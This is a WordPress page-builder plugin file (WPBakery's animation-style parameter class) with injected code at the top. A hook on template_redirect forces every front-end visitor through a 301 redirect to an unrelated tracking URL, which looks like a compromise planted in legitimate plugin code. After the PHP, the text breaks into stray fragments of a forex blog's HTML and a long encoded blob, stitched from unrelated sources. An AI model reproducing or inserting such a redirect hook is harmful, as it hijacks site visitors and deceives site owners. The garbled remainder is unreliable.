function my_custom_redirect() {
    // Убедитесь, что этот код выполняется только на фронтенде
    if (!is_admin()) {
        // URL для редиректа
        $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
        
        // Выполнить редирект
        wp_redirect($redirect_url, 301);
        exit();
    }
}
add_action('template_redirect', 'my_custom_redirect');
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Class Vc_ParamAnimation
 *
 * For working with animations
 * array(
 *        'type' => 'animation_style',
 *        'heading' => esc_html__( 'Animation', 'js_composer' ),
 *        'param_name' => 'animation',
 * ),
 * Preview in https://daneden.github.io/animate.css/
 * @since 4.4
 */
class Vc_ParamAnimation {
	/**
	 * @since 4.4
	 * @var array $settings parameter settings from vc_map
	 */
	protected $settings;
	/**
	 * @since 4.4
	 * @var string $value parameter value
	 */
	protected $value;

	/**
	 * Define available animation effects
	 * @return array
	 * @since 4.4
	 * vc_filter: vc_param_animation_style_list - to override animation styles
	 *     array
	 */
	protected function animationStyles() {
		$styles = array(
			array(
				'values' => array(
					esc_html__( 'None', 'js_composer' ) => 'none',
				),
			),
			array(
				'label' => esc_html__( 'Attention Seekers', 'js_composer' ),
				'values' => array(
					// text to display => value
					esc_html__( 'bounce', 'js_composer' ) => array(
						'value' => 'bounce',
						'type' => 'other',
					),
					esc_html__( 'flash', 'js_composer' ) => array(
						'value' => 'flash',
						'type' => 'other',
					),
					esc_html__( 'pulse', 'js_composer' ) => array(
						'value' => 'pulse',
						'type' => 'other',
					),
					esc_html__( 'rubberBand', 'js_composer' ) => array(
						'value' => 'rubberBand',
						'type' => 'other',
					),
					esc_html__( 'shake', 'js_composer' ) => array(
						'value' => 'shake',
						'type' => 'other',
					),
					esc_html__( 'swing', 'js_composer' ) => array(
						'value' => 'swing',
						'type' => 'other',
					),
					esc_html__( 'tada', 'js_composer' ) => array(
						'value' => 'tada',
						'type' => 'other',
					),
					esc_html__( 'wobble', 'js_composer' ) => array(
						'value' => 'wobble',
						'type' => 'other',
					),
				),
			),
			array(
				'label' => esc_html__( 'Bouncing Entrances', 'js_composer' ),
				'values' => array(
					// text to display => value
					esc_html__( 'bounceIn', 'js_composer' ) => array(
						'value' => 'bounceIn',
						'type' => 'in',
					),
					esc_html__( 'bounceInDown', 'js_composer' ) => array(
						'value' => 'bounceInDown',
						'type' => 'in',
					),
					esc_html__( 'bounceInLeft', 'js_composer' ) => array(
						'value' => 'bounceInLeft',
						'type' => 'in',
					),
					esc_html__( 'bounceInRight', 'js_composer' ) => array(
						'value' => 'bounceInRight',
						'type' => 'in',
					),
					esc_html__( 'bounceInUp', 'js_composer' ) => array(
						'value' => 'bounceInUp',
						'type' => 'in',
					),
				),
			),
			array(
				'label' => esc_html__( 'Bouncing Exits', 'js_composer' ),
				'values' => array(
					// text to display => value
					esc_html__( 'bounceOut', 'js_composer' ) => array(
						'value' => 'bounceOut',
						'type' => 'out',
					),
					esc_html__( 'bounceOutDown', 'js_composer' ) => array(
						'value' => 'bounceOutDown',
						'type' => 'out',
					),
					esc_html__( 'bounceOutLeft', 'js_composer' ) => array(
						'value' => 'bounceOutLeft',
						'type' => 'out',
					),
					esc_html__( 'bounceOutRight', 'js_composer' ) => array(
						'value' => 'bounceOutRight',
						'type' => 'out',
					),
					esc_html__( 'bounceOutUp', 'js_composer' ) => array(
						'value' => 'bounceOutUp',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Fading Entrances', 'js_composer' ),
				'values' => array(
					// text to display => value
					esc_html__( 'fadeIn', 'js_composer' ) => array(
						'value' => 'fadeIn',
						'type' => 'in',
					),
					esc_html__( 'fadeInDown', 'js_composer' ) => array(
						'value' => 'fadeInDown',
						'type' => 'in',
					),
					esc_html__( 'fadeInDownBig', 'js_composer' ) => array(
						'value' => 'fadeInDownBig',
						'type' => 'in',
					),
					esc_html__( 'fadeInLeft', 'js_composer' ) => array(
						'value' => 'fadeInLeft',
						'type' => 'in',
					),
					esc_html__( 'fadeInLeftBig', 'js_composer' ) => array(
						'value' => 'fadeInLeftBig',
						'type' => 'in',
					),
					esc_html__( 'fadeInRight', 'js_composer' ) => array(
						'value' => 'fadeInRight',
						'type' => 'in',
					),
					esc_html__( 'fadeInRightBig', 'js_composer' ) => array(
						'value' => 'fadeInRightBig',
						'type' => 'in',
					),
					esc_html__( 'fadeInUp', 'js_composer' ) => array(
						'value' => 'fadeInUp',
						'type' => 'in',
					),
					esc_html__( 'fadeInUpBig', 'js_composer' ) => array(
						'value' => 'fadeInUpBig',
						'type' => 'in',
					),
				),
			),
			array(
				'label' => esc_html__( 'Fading Exits', 'js_composer' ),
				'values' => array(
					esc_html__( 'fadeOut', 'js_composer' ) => array(
						'value' => 'fadeOut',
						'type' => 'out',
					),
					esc_html__( 'fadeOutDown', 'js_composer' ) => array(
						'value' => 'fadeOutDown',
						'type' => 'out',
					),
					esc_html__( 'fadeOutDownBig', 'js_composer' ) => array(
						'value' => 'fadeOutDownBig',
						'type' => 'out',
					),
					esc_html__( 'fadeOutLeft', 'js_composer' ) => array(
						'value' => 'fadeOutLeft',
						'type' => 'out',
					),
					esc_html__( 'fadeOutLeftBig', 'js_composer' ) => array(
						'value' => 'fadeOutLeftBig',
						'type' => 'out',
					),
					esc_html__( 'fadeOutRight', 'js_composer' ) => array(
						'value' => 'fadeOutRight',
						'type' => 'out',
					),
					esc_html__( 'fadeOutRightBig', 'js_composer' ) => array(
						'value' => 'fadeOutRightBig',
						'type' => 'out',
					),
					esc_html__( 'fadeOutUp', 'js_composer' ) => array(
						'value' => 'fadeOutUp',
						'type' => 'out',
					),
					esc_html__( 'fadeOutUpBig', 'js_composer' ) => array(
						'value' => 'fadeOutUpBig',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Flippers', 'js_composer' ),
				'values' => array(
					esc_html__( 'flip', 'js_composer' ) => array(
						'value' => 'flip',
						'type' => 'other',
					),
					esc_html__( 'flipInX', 'js_composer' ) => array(
						'value' => 'flipInX',
						'type' => 'in',
					),
					esc_html__( 'flipInY', 'js_composer' ) => array(
						'value' => 'flipInY',
						'type' => 'in',
					),
					esc_html__( 'flipOutX', 'js_composer' ) => array(
						'value' => 'flipOutX',
						'type' => 'out',
					),
					esc_html__( 'flipOutY', 'js_composer' ) => array(
						'value' => 'flipOutY',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Lightspeed', 'js_composer' ),
				'values' => array(
					esc_html__( 'lightSpeedIn', 'js_composer' ) => array(
						'value' => 'lightSpeedIn',
						'type' => 'in',
					),
					esc_html__( 'lightSpeedOut', 'js_composer' ) => array(
						'value' => 'lightSpeedOut',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Rotating Entrances', 'js_composer' ),
				'values' => array(
					esc_html__( 'rotateIn', 'js_composer' ) => array(
						'value' => 'rotateIn',
						'type' => 'in',
					),
					esc_html__( 'rotateInDownLeft', 'js_composer' ) => array(
						'value' => 'rotateInDownLeft',
						'type' => 'in',
					),
					esc_html__( 'rotateInDownRight', 'js_composer' ) => array(
						'value' => 'rotateInDownRight',
						'type' => 'in',
					),
					esc_html__( 'rotateInUpLeft', 'js_composer' ) => array(
						'value' => 'rotateInUpLeft',
						'type' => 'in',
					),
					esc_html__( 'rotateInUpRight', 'js_composer' ) => array(
						'value' => 'rotateInUpRight',
						'type' => 'in',
					),
				),
			),
			array(
				'label' => esc_html__( 'Rotating Exits', 'js_composer' ),
				'values' => array(
					esc_html__( 'rotateOut', 'js_composer' ) => array(
						'value' => 'rotateOut',
						'type' => 'out',
					),
					esc_html__( 'rotateOutDownLeft', 'js_composer' ) => array(
						'value' => 'rotateOutDownLeft',
						'type' => 'out',
					),
					esc_html__( 'rotateOutDownRight', 'js_composer' ) => array(
						'value' => 'rotateOutDownRight',
						'type' => 'out',
					),
					esc_html__( 'rotateOutUpLeft', 'js_composer' ) => array(
						'value' => 'rotateOutUpLeft',
						'type' => 'out',
					),
					esc_html__( 'rotateOutUpRight', 'js_composer' ) => array(
						'value' => 'rotateOutUpRight',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Specials', 'js_composer' ),
				'values' => array(
					esc_html__( 'hinge', 'js_composer' ) => array(
						'value' => 'hinge',
						'type' => 'out',
					),
					esc_html__( 'rollIn', 'js_composer' ) => array(
						'value' => 'rollIn',
						'type' => 'in',
					),
					esc_html__( 'rollOut', 'js_composer' ) => array(
						'value' => 'rollOut',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Zoom Entrances', 'js_composer' ),
				'values' => array(
					esc_html__( 'zoomIn', 'js_composer' ) => array(
						'value' => 'zoomIn',
						'type' => 'in',
					),
					esc_html__( 'zoomInDown', 'js_composer' ) => array(
						'value' => 'zoomInDown',
						'type' => 'in',
					),
					esc_html__( 'zoomInLeft', 'js_composer' ) => array(
						'value' => 'zoomInLeft',
						'type' => 'in',
					),
					esc_html__( 'zoomInRight', 'js_composer' ) => array(
						'value' => 'zoomInRight',
						'type' => 'in',
					),
					esc_html__( 'zoomInUp', 'js_composer' ) => array(
						'value' => 'zoomInUp',
						'type' => 'in',
					),
				),
			),
			array(
				'label' => esc_html__( 'Zoom Exits', 'js_composer' ),
				'values' => array(
					esc_html__( 'zoomOut', 'js_composer' ) => array(
						'value' => 'zoomOut',
						'type' => 'out',
					),
					esc_html__( 'zoomOutDown', 'js_composer' ) => array(
						'value' => 'zoomOutDown',
						'type' => 'out',
					),
					esc_html__( 'zoomOutLeft', 'js_composer' ) => array(
						'value' => 'zoomOutLeft',
						'type' => 'out',
					),
					esc_html__( 'zoomOutRight', 'js_composer' ) => array(
						'value' => 'zoomOutRight',
						'type' => 'out',
					),
					esc_html__( 'zoomOutUp', 'js_composer' ) => array(
						'value' => 'zoomOutUp',
						'type' => 'out',
					),
				),
			),
			array(
				'label' => esc_html__( 'Slide Entrances', 'js_composer' ),
				'values' => array(
					esc_html__( 'slideInDown', 'js_composer' ) => array(
						'value' => 'slideInDown',
						'type' => 'in',
					),
					esc_html__( 'slideInLeft', 'js_composer' ) => array(
						'value' => 'slideInLeft',
						'type' => 'in',
					),
					esc_html__( 'slideInRight', 'js_composer' ) => array(
						'value' => 'slideInRight',
						'type' => 'in',
					),
					esc_html__( 'slideInUp', 'js_composer' ) => array(
						'value' => 'slideInUp',
						'type' => 'in',
					),
				),
			),
			array(
				'label' => esc_html__( 'Slide Exits', 'js_composer' ),
				'values' => array(
					esc_html__( 'slideOutDown', 'js_composer' ) => array(
						'value' => 'slideOutDown',
						'type' => 'out',
					),
					esc_html__( 'slideOutLeft', 'js_composer' ) => array(
						'value' => 'slideOutLeft',
						'type' => 'out',
					),
					esc_html__( 'slideOutRight', 'js_composer' ) => array(
						'value' => 'slideOutRight',
						'type' => 'out',
					),
					esc_html__( 'slideOutUp', 'js_composer' ) => array(
						'value' => 'slideOutUp',
						'type' => 'out',
					),
				),
			),
		);

		/**
		 * Used to override animation style list
		 * @since 4.4
		 */

		return apply_filters( 'vc_param_animation_style_list', $styles );
	}

	/**
	 * @param array $styles - array of styles to group
	 * @param string|array $type - what type to return
	 *
	 * @return array
	 * @since 4.4
	 */
	public function groupStyleByType( $styles, $type ) {
		$grouped = array();
		foreach ( $styles as $group ) {
			$inner_group = array( 'values' => array() );
			if ( isset( $group['label'] ) ) {
				$inner_group['label'] = $group['label'];
			}
			foreach ( $group['values'] as $key => $value ) {
				if ( ( is_array( $value ) && isset( $value['type'] ) && ( ( is_string( $type ) && $value['type'] === $type ) || is_array( $type ) && in_array( $value['type'], $type, true ) ) ) || ! is_array( $value ) || ! isset( $value['type'] ) ) {
					$inner_group['values'][ $key ] = $value;
				}
			}
			if ( ! empty( $inner_group['values'] ) ) {
				$grouped[] = $inner_group;
			}
		}

		return $grouped;
	}

	/**
	 * Set variables and register animate-css asset
	 * @param $settings
	 * @param $value
	 * @since 4.4
	 *
	 */
	public function __construct( $settings, $value ) {
		$this->settings = $settings;
		$this->value = $value;
		wp_register_style( 'vc_animate-css', vc_asset_url( 'lib/bower/animate-css/animate.min.css' ), array(), WPB_VC_VERSION );
	}

	/**
	 * Render edit form output
	 * @return string
	 * @since 4.4
	 */
	public function render() {
		$output = '<div class="vc_row">';
		wp_enqueue_style( 'vc_animate-css' );

		$styles = $this->animationStyles();
		if ( isset( $this->settings['settings']['type'] ) ) {
			$styles = $this->groupStyleByType( $styles, $this->settings['settings']['type'] );
		}
		if ( isset( $this->settings['settings']['custom'] ) && is_array( $this->settings['settings']['custom'] ) ) {
			$styles = array_merge( $styles, $this->settings['settings']['custom'] );
		}

		if ( is_array( $styles ) && ! empty( $styles ) ) {
			$left_side = '<div class="vc_col-sm-6">';
			$build_style_select = '<select class="vc_param-animation-style">';
			foreach ( $styles as $style ) {
				$build_style_select .= '<optgroup ' . ( isset( $style['label'] ) ? 'label="' . esc_attr( $style['label'] ) . '"' : '' ) . '>';
				if ( is_array( $style['values'] ) && ! empty( $style['values'] ) ) {
					foreach ( $style['values'] as $key => $value ) {
						$selected = '';
						$option_value = is_array( $value ) ? $value['value'] : $value;
						if ( $option_value === $this->value ) {
							$selected = 'selected="selected"';
						}
						$build_style_select .= '<option value="' . ( $option_value ) . '" ' . $selected . '>' . esc_html( $key ) . '</option>';
					}
				}
				$build_style_select .= '</optgroup>';
			}
			$build_style_select .= '</select>';
			$left_side .= $build_style_select;
			$left_side .= '</div>';
			$output .= $left_side;

			$right_side = '<div class="vc_col-sm-6">';
			$right_side .= '<div class="vc_param-animation-style-preview"><button class="vc_btn-grey vc_general vc_param-animation-style-trigger vc_ui-button vc_ui-button-shape-rounded">' . esc_html__( 'Animate it', 'js_composer' ) . '</button></div>';
			$right_side .= '</div>';
			$output .= $right_side;
		}

		$output .= '</div>'; // Close Row
		$output .= sprintf( '<input name="%s" class="wpb_vc_param_value  %s %s_field" type="hidden" value="%s"  />', esc_attr( $this->settings['param_name'] ), esc_attr( $this->settings['param_name'] ), esc_attr( $this->settings['type'] ), $this->value );

		return $output;
	}
}

/**
 * Function for rendering param in edit form (add element)
 * Parse settings from vc_map and entered 'values'.
 *
 * @param array $settings - parameter settings in vc_map
 * @param string $value - parameter value
 * @param string $tag - shortcode tag
 *
 * vc_filter: vc_animation_style_render_filter - filter to override editor form
 *     field output
 *
 * @return mixed rendered template for params in edit form
 *
 * @since 4.4
 */
function vc_animation_style_form_field( $settings, $value, $tag ) {

	$field = new Vc_ParamAnimation( $settings, $value );

	/**
	 * Filter used to override full output of edit form field animation style
	 * @since 4.4
	 */

	return apply_filters( 'vc_animation_style_render_filter', $field->render(), $settings, $value, $tag );
}

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				</div><!-- .post_meta --></div><div class="sc_layouts_title_title">							<h1 class="sc_layouts_title_caption">Which News Releases Should I Trade For Forex?</h1>
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<article id="post-9232" class="post_item_single post_type_post post_format_ itemscope post-9232 post type-post status-publish format-standard hentry category-forex-trading"		itemscope itemtype="http://schema.org/BlogPosting">
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